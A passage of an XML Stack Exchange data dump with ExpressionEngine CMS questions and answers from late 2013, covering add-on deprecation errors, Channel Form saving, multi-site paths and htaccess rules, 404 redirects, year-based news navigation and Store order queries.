folder&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="871" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-11-22T15:16:12.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17048" PostTypeId="1" CreationDate="2013-11-22T15:41:41.020" Score="2" ViewCount="102" Body="&lt;p&gt;I just upgraded to EE 2.7.2 and P&amp;amp;T Switch is throwing an error in the Developer Log. Everything still seems to work at the moment but it looks like P&amp;amp;T Switch needs to be updated:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Deprecated function EE_Fieldtype() called in system/expressionengine/third_party/pt_switch/ft.pt_switch.php on line 26. Deprecated since 2.6. Use EE_Fieldtype::__construct() instead.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2397" LastActivityDate="2013-11-22T16:25:14.083" Title="P&amp;T Switch throws an error with EE 2.7.2" Tags="|pixelandtonic|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17049" PostTypeId="1" CreationDate="2013-11-22T15:51:00.720" Score="3" ViewCount="529" Body="&lt;p&gt;I'm using EE's Channel Form to allow members to edit entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've isolated the form into a test template and I'm currently not able to successfully submit the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I press save it goes to a blank page. If I go back or refresh Chrome gives me &quot;Confirm Form Resubmission&quot; (with an error ERR_CACHE_MISS).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've disabled jquery, which got rid of an error appearing in the console but it's still the same result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Install details:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;v2.7.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third party modules:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Zoo Visitor 1.3.30&lt;/li&gt;&#xA;&lt;li&gt;Wygwam 3.1.2&lt;/li&gt;&#xA;&lt;li&gt;Taxonomy 3.0.8.2&lt;/li&gt;&#xA;&lt;li&gt;Playa 4.4.5&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;html&amp;gt;&#xA;        &amp;lt;head&amp;gt;&#xA;                &amp;lt;link href=&quot;{path=css/_ee_channel_form_css}&quot; type=&quot;text/css&quot; rel=&quot;stylesheet&quot; media=&quot;screen&quot;&amp;gt;&#xA;                {!-- &amp;lt;script src=&quot;//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js&quot; &amp;gt;&amp;lt;/script&amp;gt; --}&#xA;        &amp;lt;/head&amp;gt;&#xA;        &amp;lt;body&amp;gt;&#xA;&#xA;            {exp:channel:form channel=&quot;wiki&quot; return=&quot;wiki&quot; url_title=&quot;homeworking&quot; rte_selector=&quot;.wiki_body&quot; datepicker=&quot;no&quot; include_jquery=&quot;no&quot;}&#xA;&#xA;                    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;&#xA;                    &amp;lt;p&amp;gt;{wiki_body}&amp;lt;/p&amp;gt;&#xA;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;title&quot; class=&quot;title&quot; value=&quot;{title}&quot;&amp;gt;&#xA;&#xA;                    &amp;lt;textarea type=&quot;text&quot; name=&quot;wiki_body&quot; class=&quot;wiki_body&quot;&amp;gt;&#xA;                    {wiki_body}&#xA;                    &amp;lt;/textarea&amp;gt;&#xA;&#xA;                    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;&#xA;            {/exp:channel:form}&#xA;&#xA;        &amp;lt;/body&amp;gt;&#xA;        &amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="254" LastEditorUserId="254" LastEditDate="2013-11-22T16:48:42.327" LastActivityDate="2018-12-08T21:00:35.090" Title="Channel Form - attempt to edit and save results in blank page/error" Tags="|ee2|channel-form|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="17050" PostTypeId="2" ParentId="17048" CreationDate="2013-11-22T15:59:41.750" Score="4" Body="&lt;p&gt;P&amp;amp;T switch has moved into a new bundle of old dive bar addons called &lt;a href=&quot;http://devot-ee.com/add-ons/field-pack&quot; rel=&quot;nofollow&quot;&gt;Field Pack&lt;/a&gt; as of August 2013. You should update to that and everything will be working fine. Updating is simple, but do read the docs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.pixelandtonic.com/fieldpack/installation.html#updating-from-the-old-dive-bar-fieldtypes&quot; rel=&quot;nofollow&quot;&gt;http://docs.pixelandtonic.com/fieldpack/installation.html#updating-from-the-old-dive-bar-fieldtypes&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="22" LastEditDate="2013-11-22T16:25:14.083" LastActivityDate="2013-11-22T16:25:14.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17051" PostTypeId="2" ParentId="9191" CreationDate="2013-11-22T16:05:59.850" Score="2" Body="&lt;p&gt;We were seeing this same issue running Assets in our EE 2.5.2 environment. After we updated to Assets 2.2.2 it began working as expected.&lt;/p&gt;&#xA;" OwnerUserId="384" LastActivityDate="2013-11-22T16:05:59.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17052" PostTypeId="2" ParentId="17036" CreationDate="2013-11-22T17:17:49.443" Score="3" Body="&lt;p&gt;If it's static content within a template and you don't want to give the client access to the template then you have a couple of options;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a global variable or snippet, the client can edit this without touching the full template... though you won't have WYSIWYG editing.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a channel entry and replace the content in the template with the tags for to output that entry. This would seem the &quot;best&quot; way to me as it will give you the most flexibility and is still pretty quick to set up in EE. It probably won't take more than 20 minutes and will give you exactly what you need.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;The ideal solution would be injecting a RTE editor to convert the&#xA;  Template Manager textarea into a visual editor.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This &quot;solution&quot; makes no sense within the context you are working. In all honesty it would take longer and be more problematic than &lt;em&gt;any&lt;/em&gt; of the other options presented in this thread. If you approach the problem from a more appropriate angle, you'll find it much easier. Regardless of your personal like or dislike of a given system it's in your interests to work with the tool, not against it.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2013-11-22T17:25:24.173" LastActivityDate="2013-11-22T17:25:24.173" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17053" PostTypeId="1" CreationDate="2013-11-22T17:47:48.977" Score="3" ViewCount="84" Body="&lt;p&gt;I have Multi site manager running a few sites, and I use categories to set which site to show each entry on as well as topics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ie categories: site (1), site (2), all (3), games (4), movies (5)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the site templates, I use&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To call all games for site 1 I use&#xA;category=&quot;1&amp;amp;4&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;all games for site 2 I use&#xA;category=&quot;2&amp;amp;4&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how can I show &quot;all games in category site 1 OR category all&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this doesn't work, but makes the point:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries category=&quot;1&amp;amp;4 OR 3&amp;amp;4&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thx!&lt;/p&gt;&#xA;" OwnerUserId="812" LastActivityDate="2013-11-23T01:55:10.280" Title="How can I require two different sets of categories?" Tags="|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17054" PostTypeId="1" AcceptedAnswerId="26391" CreationDate="2013-11-22T18:00:18.210" Score="3" ViewCount="96" Body="&lt;p&gt;Is there a way in Solspace Freeform 4 to have the admin notifications sent &quot;from&quot; or &quot;reply-to&quot; the value an email field? That way when the admin receives a notice that a form had been submitted with a question, they can simply hit reply? I have a number of clients that forget to copy/paste the email in the body of the notification.&lt;/p&gt;&#xA;" OwnerUserId="2283" LastActivityDate="2014-10-23T15:18:35.550" Title="Freeform 4 - send from email field" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17055" PostTypeId="1" CreationDate="2013-11-22T19:57:33.070" Score="2" ViewCount="401" Body="&lt;p&gt;The link that gets email when someone forgets their password does not work.  YOu get a page not found error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.7.1 and User 3.4.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User is up to date so not sure why this is not working.  Anyone out there running in to the same issues?&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-11-23T14:03:01.577" Title="Solspace User password reset not working" Tags="|solspace|solspace-user|forgot-password|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17056" PostTypeId="1" CreationDate="2013-11-22T19:59:47.670" Score="2" ViewCount="175" Body="&lt;p&gt;EE v2.5.5&#xA;MSM&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the current host the main site and other sites each have their own directory, 'www.oursite.com' points to one directory, 'subdomain1.oursite.com' points to it's own directory etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This setup doesn't seem possible on our new host, so we have put the main site into the public_html directory, and created subdomain directories in public_html into which the other sites have been put.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have followed the instructions for setting up the paths in MSM; in the subdomains directories both the admin.php and index.php $system_path value points to the main sites system directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought I could reach the control panels via subdomain1.oursite.com/admin.php etc, but it's actually the main cp, requests for the subdomain frontends fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think this is an open basedir issue is it? Any other ideas please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update, I've added my htaccess details here in reponse to the comment from Jeremy Gimbel:&#xA;I have the following in my htaccess for the subsite1 directory:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--------------- htaccess rediect ---------- &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On &#xA;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC] &#xA;RewriteCond %{REQUEST_FILENAME} !-f &#xA;RewriteCond %{REQUEST_FILENAME} !-da &#xA;RewriteRule ^(.*)$ /index.php?/$1 [L] &#xA;RewriteCond %{HTTP_HOST} ^www.subsite1.domain.com &#xA;RewriteRule ^(.*)$ subsite1.domain.com/$1 [R=301,L] &#xA;RewriteCond %{HTTPS} !=on &#xA;RewriteRule ^ http s://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;------------- end htaccess redirect ---------- &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if lines 6/7 are doing the right thing? &lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="1311" LastEditDate="2013-11-25T12:29:56.090" LastActivityDate="2013-12-26T16:36:48.647" Title="Moving EE, including MSM, to a new server but can't figure out paths" Tags="|multi-site-manager|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17057" PostTypeId="2" ParentId="17053" CreationDate="2013-11-22T20:25:20.293" Score="3" Body="&lt;p&gt;Unfortunately, you can't do this using the default &lt;code&gt;exp:channel:entries&lt;/code&gt;. You gonna have to use &lt;code&gt;JOIN&lt;/code&gt;s in &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/query/index.html&quot; rel=&quot;nofollow&quot;&gt;the query module&lt;/a&gt;. Or &lt;a href=&quot;http://devot-ee.com/add-ons/dandy-cat&quot; rel=&quot;nofollow&quot;&gt;Dandy Cat&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="28" LastEditDate="2013-11-23T01:55:10.280" LastActivityDate="2013-11-23T01:55:10.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17058" PostTypeId="1" AcceptedAnswerId="17061" CreationDate="2013-11-22T20:55:06.530" Score="2" ViewCount="98" Body="&lt;p&gt;I am having an issue where if users try to access a page that doesn't exist within a template group, it displays a blank page instead of the 404. I believe this is due to the fact that the template groups have an index file in them that has no code. I would like to have a 404 page appear any time someone accesses a URL that doesn't exist within my site but I believe I have to remove the index files from my template groups for this to happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how I can accomplish this or a different solution to getting my 404 page to display instead of the blank white page?&lt;/p&gt;&#xA;" OwnerUserId="2257" LastEditorUserId="28" LastEditDate="2013-11-23T01:49:40.780" LastActivityDate="2013-11-23T01:49:40.780" Title="Removing index file from template group?" Tags="|templates|404|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17059" PostTypeId="2" ParentId="17058" CreationDate="2013-11-22T21:06:39.553" Score="0" Body="&lt;p&gt;Check out the EE docs on &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/urls/404pages.html&quot; rel=&quot;nofollow&quot;&gt;404 pages&lt;/a&gt;, to get a understanding on how they work and how to set it up. Also I would remove the index files, that is just personal preference for me. You can do this by going into the Template Manager(Design -&gt; Templates -&gt; Template Manager). And delete each index file you don't want.&lt;/p&gt;&#xA;" OwnerUserId="1173" LastActivityDate="2013-11-22T21:06:39.553" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17061" PostTypeId="2" ParentId="17058" CreationDate="2013-11-22T21:20:14.707" Score="5" Body="&lt;p&gt;You can't delete index templates, so you'll have to include &lt;code&gt;{redirect='404'}&lt;/code&gt; on those templates to force them to 404.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-11-22T21:20:14.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17062" PostTypeId="2" ParentId="11420" CreationDate="2013-11-22T21:40:42.503" Score="0" Body="&lt;p&gt;This hack does work for the parent output but the standard output does not work now. Any ideas? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not working...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{campus}&#xA;    {campus:title}&#xA;{/campus}&lt;/p&gt;&#xA;" OwnerUserId="433" LastActivityDate="2013-11-22T21:40:42.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17063" PostTypeId="1" AcceptedAnswerId="17064" CreationDate="2013-11-22T22:09:15.727" Score="2" ViewCount="107" Body="&lt;p&gt;I have a news section which is functioning like a blog. Currently in the navigation I am statically listing the years for which content was published. I would like to change this so that ExpressionEngine will automatically generate links to different years only if there are articles that were published that year.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I am currently using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;content-tile&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;grid_4_desktop grid_4_tablet grid_1_mobile&quot; id=&quot;archive-menu&quot;&amp;gt;&#xA;    &amp;lt;h2 class=&quot;title&quot;&amp;gt;News&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;      &amp;lt;li&amp;gt;&amp;lt;a href='{path=news/article/?latest=true}'   &amp;lt;?php if(isset($_GET['latest'])){echo 'class=&quot;active&quot;';};?&amp;gt; &amp;gt;Latest Post&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;      &amp;lt;li&amp;gt;&amp;lt;a &amp;lt;?php if($year == '2013'){echo 'class=&quot;active&quot;';}; ?&amp;gt; href=&quot;{path=news/?year=2013}&quot;&amp;gt;2013&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;      &amp;lt;li&amp;gt;&amp;lt;a &amp;lt;?php if($year == '2012'){echo 'class=&quot;active&quot;';}; ?&amp;gt; href=&quot;{path=news/?year=2012}&quot;&amp;gt;2012&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;      &amp;lt;li&amp;gt;&amp;lt;a &amp;lt;?php if($year == '2011'){echo 'class=&quot;active&quot;';}; ?&amp;gt; href=&quot;{path=news/?year=2011}&quot;&amp;gt;2011&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me how I would change this code so that the years are automatically populated based on when articles were published?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="2257" LastEditorUserId="2257" LastEditDate="2013-11-22T22:28:01.090" LastActivityDate="2013-12-11T14:57:08.527" Title="Dynamically pull news articles by year?" Tags="|navigation|dynamic|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17064" PostTypeId="2" ParentId="17063" CreationDate="2013-11-22T22:36:15.750" Score="3" Body="&lt;p&gt;Have you taken a look at the &lt;a href=&quot;http://devot-ee.com/add-ons/yearlist&quot; rel=&quot;nofollow&quot;&gt;Yearlist Add-on&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I would think it should be possible to do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;content-tile&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;grid_4_desktop grid_4_tablet grid_1_mobile&quot; id=&quot;archive-menu&quot;&amp;gt;&#xA;    &amp;lt;h2 class=&quot;title&quot;&amp;gt;News&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;      {exp:yearlist channel=&quot;yourchannel&quot; category=&quot;1&quot;}&#xA;          &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path=news/?year={years}}&quot;&amp;gt;{years}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;      {/exp:yearlist}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="384" LastEditorUserId="384" LastEditDate="2013-12-11T14:57:08.527" LastActivityDate="2013-12-11T14:57:08.527" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17065" PostTypeId="2" ParentId="16841" CreationDate="2013-11-22T23:36:06.893" Score="1" Body="&lt;p&gt;If you just want the total number of a certain product sold, you can do that using EE's built in &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/query/&quot; rel=&quot;nofollow&quot;&gt;query module&lt;/a&gt; and a bit of SQL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;select sum(item_qty) as qty_sold&#xA;from exp_store_order_items&#xA;join exp_store_orders on exp_store_order_items.order_id = exp_store_orders.id&#xA;where order_completed_date &amp;gt; 0&#xA;  and entry_id = 123&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; if you are using Store 1.6 you will need to replace &lt;code&gt;exp_store_orders.id&lt;/code&gt; above with &lt;code&gt;exp_store_orders.order_id&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-22T23:36:06.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17066" PostTypeId="2" ParentId="17007" CreationDate="2013-11-23T00:11:44.813" Score="1" Body="&lt;p&gt;That would be possible with Store, there are a couple of ways to achieve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way is if your client just logs in as the member in question to place the order. This would be possible using EE's &quot;login as member&quot; function in the control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other approach would be if they create the order under their own account, then assign the order to the other member. Store doesn't have the ability to create new orders from within the control panel, but this would be easy for them to do on the front end of your website. You can use the &quot;Manual&quot; payment gateway to allow the order to be completed without payment. Then, to assign the order to the new member you would just need to write a simple plugin/extension which changes the &lt;code&gt;member_id&lt;/code&gt; in the &lt;code&gt;exp_store_orders&lt;/code&gt; database table to the correct customer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, you can allow the customer to log in and view their orders, then use the &lt;a href=&quot;https://exp-resso.com/docs/payment_tag.html&quot; rel=&quot;nofollow&quot;&gt;payment tag&lt;/a&gt; to let them pay for the existing order.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-23T00:11:44.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17067" PostTypeId="2" ParentId="16913" CreationDate="2013-11-23T00:56:05.803" Score="1" Body="&lt;p&gt;Your question is a little hard to follow, but if I've understood it right, you want to discount products based on the Zoo Visitor entry category of the member purchasing them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't think of any easy way to do this which would be secure from request tampering, without writing an extension. It would be fairly trivial to write an extension though which used the &lt;a href=&quot;https://exp-resso.com/docs/extension_hooks.html#store_order_item_recalculate_end&quot; rel=&quot;nofollow&quot;&gt;store_order_item_recalculate_end&lt;/a&gt; hook (called &lt;a href=&quot;https://exp-resso.com/docs/v1/extension_hooks.html#store_cart_item_update_end&quot; rel=&quot;nofollow&quot;&gt;store_cart_item_update_end&lt;/a&gt; in Store 1.6) and change the price based on the current member's details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another approach which might work is that Store 2.0 has native support for discounting products based on the currently logged in member's group. It won't work with Zoo Visitor member categories, but if you have the ability to change the main EE group of the member then this could be useful.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-23T00:56:05.803" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17068" PostTypeId="2" ParentId="17020" CreationDate="2013-11-23T02:20:57.653" Score="1" Body="&lt;p&gt;The code examples you posted will never work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First,  member_=&quot;&quot; is not a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#parameters&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;parameter&lt;/strong&gt;&lt;/a&gt; accepted by the exp:channel:entries tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, &quot;logged_in_screen_name&quot; is not a value accepted be the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#orderby&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;orderby=&quot;&quot;&lt;/strong&gt;&lt;/a&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#channel-entries-tag&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;EE docs&lt;/strong&gt;&lt;/a&gt; detail all the usable parameters.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This will work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;clients&quot; author_id=&quot;CURRENT_USER&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This method requires that the author of the entry be set to the member who should have access to edit the entry. So when you create the entry, set them as the author.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to show a list of members in the author list you'll need to enable this setting for the specific member group:&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/members/member_groups_edit.html#include-members-in-publish-page-multi-author-list&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Include Members in PUBLISH page multi-author list?&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After enabling the setting, go to your edit form in the CP and you will see the Author list. If you don't see the author list, you may need to edit your Publish Layout to make it visible.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-11-23T02:38:28.570" LastActivityDate="2013-11-23T02:38:28.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17069" PostTypeId="2" ParentId="17014" CreationDate="2013-11-23T02:44:45.107" Score="1" Body="&lt;p&gt;Check your php and apache logs. Sounds like the change is running out of resources... either memory, CPU or time? Increasing the problem resource/setting should help.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-23T02:44:45.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17070" PostTypeId="2" ParentId="17008" CreationDate="2013-11-23T02:55:29.903" Score="2" Body="&lt;p&gt;&lt;code&gt;http://mysite.com/about/non-existent&lt;/code&gt; will load the &lt;code&gt;http://mysite.com/about&lt;/code&gt; template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is because EE looks at that second segment automatically for a number of things... if there isn't a template name there it will try to load an entry with that url_title into the /about template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To stop this behavior, add this into the /about template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 != &quot;&quot;}&#xA;    {redirect=&quot;404&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-23T02:55:29.903" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17071" PostTypeId="2" ParentId="17006" CreationDate="2013-11-23T03:01:01.320" Score="1" Body="&lt;pre&gt;&lt;code&gt;{exp:user:edit}  &#xA;     &amp;lt;select name=&quot;company_state&quot;&amp;gt;&#xA;            {select_company_state}&#xA;                &amp;lt;option value=&quot;{value}&quot; {selected}&amp;gt;{value}&amp;lt;/option&amp;gt;&#xA;            {/select_company_state}&#xA;      &amp;lt;/select&amp;gt;&#xA;     &amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;{/exp:user:edit}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This variable pair is a flexible method for creating pull-down menus,&#xA;  radio button arrays, etc. In the variable pair, you precede the&#xA;  short_name of the member field with select_. Providing your member&#xA;  field is a Select field with multiple values, it will automatically&#xA;  generate those values for you. Within this variable pair, the&#xA;  following variables become available:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;value&lt;/strong&gt; - the values stored as options for the member field.&lt;br&gt;&#xA;      &lt;strong&gt;selected&lt;/strong&gt; - parses to selected=&quot;selected&quot; if the option is the current value for the users' profile.&lt;br&gt;&#xA;      &lt;strong&gt;option_index&lt;/strong&gt; - behaves like a count variable and displays the display order of each value.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.solspace.com/docs/user/edit/#select_custom_member_field&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/user/edit/#select_custom_member_field&lt;/a&gt;&lt;/strong&gt; &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-23T03:01:01.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17072" PostTypeId="2" ParentId="16974" CreationDate="2013-11-23T03:06:44.833" Score="2" Body="&lt;p&gt;Check your htaccess file. It's possible you have a 404 redirect statement there too which should be removed.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-23T03:06:44.833" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17073" PostTypeId="2" ParentId="17055" CreationDate="2013-11-23T04:37:40.297" Score="0" Body="&lt;p&gt;Starting with EE 2.6, the reset password routine works differently compared to pre-2.6 version. Instead of being sent a password reset link after filling out a &quot;&lt;strong&gt;forgot password&lt;/strong&gt;&quot; form, followed by an automatically generated new password by email, users receive a link by email to visit a page on EE with a &quot;&lt;strong&gt;password reset&lt;/strong&gt;&quot; form to reset their password themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of this writing, User doesn't have a &quot;password reset&quot; form available, and is therefore not involved after submitting the &quot;forgot password&quot; form. In consequence, the password reset notification email is generated by native EE, and the link's URL points to a native EE member template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have issues with the emailed URL, this would an EE issue to resolve. Check your EE settings, .htaccess file, and member trigger word (member preferences), as potential places places for EE not being able to read its own member templates.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-11-23T04:37:40.297" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
